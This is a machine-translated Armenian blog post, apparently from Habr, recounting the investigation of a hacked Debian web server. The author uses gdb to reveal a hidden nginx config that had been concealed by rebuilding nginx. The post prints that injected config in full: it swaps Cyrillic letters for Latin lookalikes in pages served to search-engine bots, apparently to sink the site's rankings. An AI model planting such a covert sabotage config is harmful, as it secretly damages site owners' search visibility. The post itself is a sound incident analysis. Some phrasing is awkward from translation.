Երբ «ա»-ն հավասար չէ «ա»-ին: Հակահակության հետևանքով

Ամենատհաճ պատմությունը պատահեց ընկերներիցս մեկի հետ. Բայց որքան էլ տհաճ էր Միխայիլի համար, նույնքան էլ զվարճալի էր ինձ համար։

Պետք է ասեմ, որ իմ ընկերը բավականին UNIX- ը- օգտագործող. կարող է ինքնուրույն տեղադրել համակարգը MySQL, php և կատարել պարզ կարգավորումներ nginx.
Իսկ նա ունի մեկ տասնյակ կամ մեկուկես կայք՝ նվիրված շինարարական գործիքներին։

Այս կայքերից մեկը, որը նվիրված է շղթայական սղոցներին, ամուր տեղավորվում է որոնման համակարգերի TOP-ում: Այս կայքը ոչ առևտրային գրախոս է, բայց ինչ-որ մեկը սովորություն է ստացել հարձակվել դրա վրա: Դա DDoS, հետո բիրտ ուժ, հետո անպարկեշտ մեկնաբանություններ են գրում ու չարաշահումներ ուղարկում հոսթինգին ու RKN-ին։
Հանկարծ ամեն ինչ հանդարտվեց, և այս հանգստությունը պարզվեց, որ լավ չէ, և կայքը սկսեց աստիճանաբար հեռանալ որոնման արդյունքների վերին տողերից։

Երբ «ա»-ն հավասար չէ «ա»-ին: Հակահակության հետևանքով

Դա ասացվածք էր, այնուհետև ադմինի հեքիաթն ինքնին:

Քնելու ժամին էր, երբ հեռախոսը զանգեց. «Սան, չե՞ս նայի իմ սերվերին: Ինձ թվում է, որ ինձ կոտրել են, ես չեմ կարող դա ապացուցել, բայց զգացողությունն ինձ չի լքում արդեն երրորդ շաբաթը: Միգուցե ժամանակն է, որ ես պարանոյայի համար բուժվե՞մ։

Դրան հաջորդեց կես ժամ տևած քննարկումը, որը կարելի է ամփոփել հետևյալ կերպ.

  • հաքերների համար հողը բավականին պարարտ էր.
  • հարձակվողը կարող է ձեռք բերել գերօգտագործողի իրավունքներ.
  • հարձակումը (եթե այն տեղի է ունեցել) ուղղված է եղել հատուկ այս կայքին.
  • խնդրահարույց տարածքները շտկվել են, և դուք պարզապես պետք է հասկանաք, թե արդյոք որևէ ներթափանցում է եղել.
  • կոտրումը չի կարող ազդել կայքի կոդի և տվյալների բազաների վրա:

Վերջին կետի վերաբերյալ.

Երբ «ա»-ն հավասար չէ «ա»-ին: Հակահակության հետևանքով

Միայն սպիտակ ճակատային IP-ն է նայում դեպի աշխարհ: Backend-ի և frontend-ի միջև փոխանակում չկա, բացի http(s-ից), օգտվողները/գաղտնաբառերը տարբեր են, բանալիներ չեն փոխանակվել։ Մոխրագույն հասցեների վրա բոլոր նավահանգիստները, բացի 80/443-ից, փակ են: Սպիտակ backend IP-ները հայտնի են միայն երկու օգտատերերի, որոնց Միխայիլը լիովին վստահում է։

Տեղադրված է ճակատային մասում Debian 9 և մինչ զանգը կատարվում է, համակարգը մեկուսացված է աշխարհից արտաքին firewall-ով և կանգ է առնում:

«Լավ, թույլ տուր ինձ մուտք գործել», ես որոշում եմ մեկ ժամով հետաձգել քունը: «Ես իմ աչքերով կտեսնեմ».

Այստեղ և հետագա.

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Փնտրում է հնարավոր հաքեր

Ես սկսում եմ սերվերը, առաջինը փրկարարական ռեժիմ. Ես տեղադրում եմ սկավառակները և թերթում դրանք հեղինակություն-գերաններ, պատմություն, համակարգի տեղեկամատյաններ և այլն, հնարավորության դեպքում ես ստուգում եմ ֆայլի ստեղծման ամսաթվերը, չնայած հասկանում եմ, որ նորմալ կոտրիչն իր ետևից «կթափվեր», իսկ Միշան արդեն շատ էր «ոտնահարել» իրեն փնտրելիս։ .

Ես սկսում եմ նորմալ ռեժիմով, դեռ իրականում չհասկանալով, թե ինչ փնտրել, ես ուսումնասիրում եմ կոնֆիգուրները: Ինձ առաջին հերթին հետաքրքրում է nginx քանի որ, ընդհանուր առմամբ, դրանից բացի այլ բան չկա ճակատում:
Կազմաձևերը փոքր են, լավ կառուցված են տասնյակ ֆայլերի մեջ, ես պարզապես նայում եմ դրանց միջով կատուօհ մեկ առ մեկ. Ամեն ինչ կարծես մաքուր է, բայց երբեք չես իմանա, թե արդյոք ես ինչ-որ բան բաց եմ թողել ներառում են, թույլ տվեք ամբողջական ցուցակագրել.

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Ես չհասկացա. «Որտե՞ղ է ցուցակը»:

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

Ցուցակման հարցին ավելացվում է երկրորդ հարցը. «Ինչո՞ւ է nginx-ի այդքան հնագույն տարբերակը»:

Բացի այդ, համակարգը կարծում է, որ վերջին տարբերակը տեղադրված է.

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Ես զանգում եմ.
- Միշա, ինչո՞ւ նորից հավաքվեցիր nginx?
- Սպասիր, ես նույնիսկ չգիտեմ, թե ինչպես դա անել:
-Լավ, գնա քնիր...

Nginx այն հստակորեն վերակառուցված է, և «-T»-ի օգտագործմամբ ցուցակի ելքը թաքնված է ինչ-որ պատճառով: Հաքերության հարցում այլևս կասկածներ չկան, և դուք կարող եք պարզապես ընդունել դա և (քանի որ Միշան, այնուամենայնիվ, սերվերը փոխարինել է նորով) խնդիրը լուծված համարել։

Եվ իսկապես, քանի որ ինչ-որ մեկը ստացել է իրավունքները արմատ«Ահ, ուրեմն դա միայն իմաստ ունի անել համակարգի վերատեղադրում, և անիմաստ էր այնտեղ փնտրել, թե ինչն է սխալ, բայց այս անգամ հետաքրքրասիրությունը հաղթեց քունը։ Ինչպե՞ս կարող ենք պարզել, թե ինչ էին ուզում թաքցնել մեզանից։

Փորձենք հետևել.

$ strace nginx -T

Մենք նայում ենք դրան, ակնհայտորեն բավականաչափ գծեր չկան հետքի մեջ

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Պարզապես զվարճանալու համար, եկեք համեմատենք բացահայտումները:

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Կարծում եմ՝ օրենսգրքի մի մասը /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

բերվել է ձևի.

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

կամ

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

հետևաբար «-T»-ի ցուցակումը չի ցուցադրվում:

Բայց ինչպե՞ս կարող ենք դիտել մեր կազմաձևը:

Եթե ​​իմ միտքը ճիշտ է, և խնդիրը միայն փոփոխականի մեջ է ngx_dump_config եկեք փորձենք տեղադրել այն օգտագործելով gdb, բարեբախտաբար բանալի կա ---ի հետ-cc-opt -g ներկայացնել և հուսալ, որ օպտիմալացումը -O2 դա մեզ չի վնասի: Միևնույն ժամանակ, քանի որ ես չգիտեմ, թե ինչպես ngx_dump_config կարող է մշակվել գործ «T»:, մենք չենք կոչի այս բլոկը, այլ կտեղադրենք այն օգտագործելով դեպք 't':

Ինչու կարող եք օգտագործել «-t», ինչպես նաև «-T»Արգելափակման մշակում if (ngx_dump_config) տեղի է ունենում ներսում if (ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Իհարկե, եթե կոդը փոխվի այս մասում և ոչ թե մեջ գործ «T»:, ապա իմ մեթոդը չի աշխատի։

Փորձարկել nginx.confԱրդեն փորձնականորեն լուծելով խնդիրը՝ պարզվեց, որ չարամիտ ծրագրի աշխատանքի համար պահանջվում է նվազագույն կոնֆիգուրացիա։ nginx տիպ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Մենք դա կօգտագործենք հոդվածում հակիրճ լինելու համար:

Գործարկել վրիպազերծիչը

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Քայլ առ քայլ:

  • սահմանել ֆունկցիայի ընդմիջման կետ հիմնական ()
  • գործարկել ծրագիրը
  • փոխել փոփոխականի արժեքը, որը որոշում է կազմաձևի ելքը ngx_dump_config=1
  • շարունակել/ավարտել ծրագիրը

Ինչպես տեսնում ենք, իրական կազմաձևը տարբերվում է մերից, մենք դրանից ընտրում ենք մակաբուծական կտոր.

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Եկեք նայենք, թե ինչ է կատարվում այստեղ հերթականությամբ:

Որոշված ​​են Օգտագործողի գործակալ's yandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Ծառայությունների էջերը բացառված են WordPress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

Եվ նրանց համար, ովքեր ընկնում են վերը նշված երկու պայմաններից էլ

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

տեքստում HTML- էջերը փոխվում են «Օ» մասին «օ» и 'Ա' մասին «ա»:

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Ճիշտ է, միակ նրբությունը դա է «ա» != «ա» Ինչպես նաեւ «օ» != «օ»:

Երբ «ա»-ն հավասար չէ «ա»-ին: Հակահակության հետևանքով

Այսպիսով, որոնման համակարգի բոտերը սովորական 100% կիրիլիցա տեքստի փոխարեն ստանում են փոփոխված աղբ՝ նոսրացված լատիներենով։ «ա» и «օ». Ես չեմ համարձակվում քննարկել, թե ինչպես է դա ազդում SEO-ի վրա, բայց քիչ հավանական է, որ տառերի նման խառնաշփոթը դրական ազդեցություն ունենա որոնման արդյունքների դիրքերի վրա:

Ինչ ասեմ, երևակայությամբ տղերք։

Սայլակ

Վրիպազերծում GDB-ով
gdb (1) - Linux մարդու էջ
strace (1) — Linux մարդու էջ
Nginx - ngx_http_sub_module մոդուլ
Սղոցների, բենզասղոցների և էլեկտրական սղոցների մասին

Source: www.habr.com

Добавить комментарий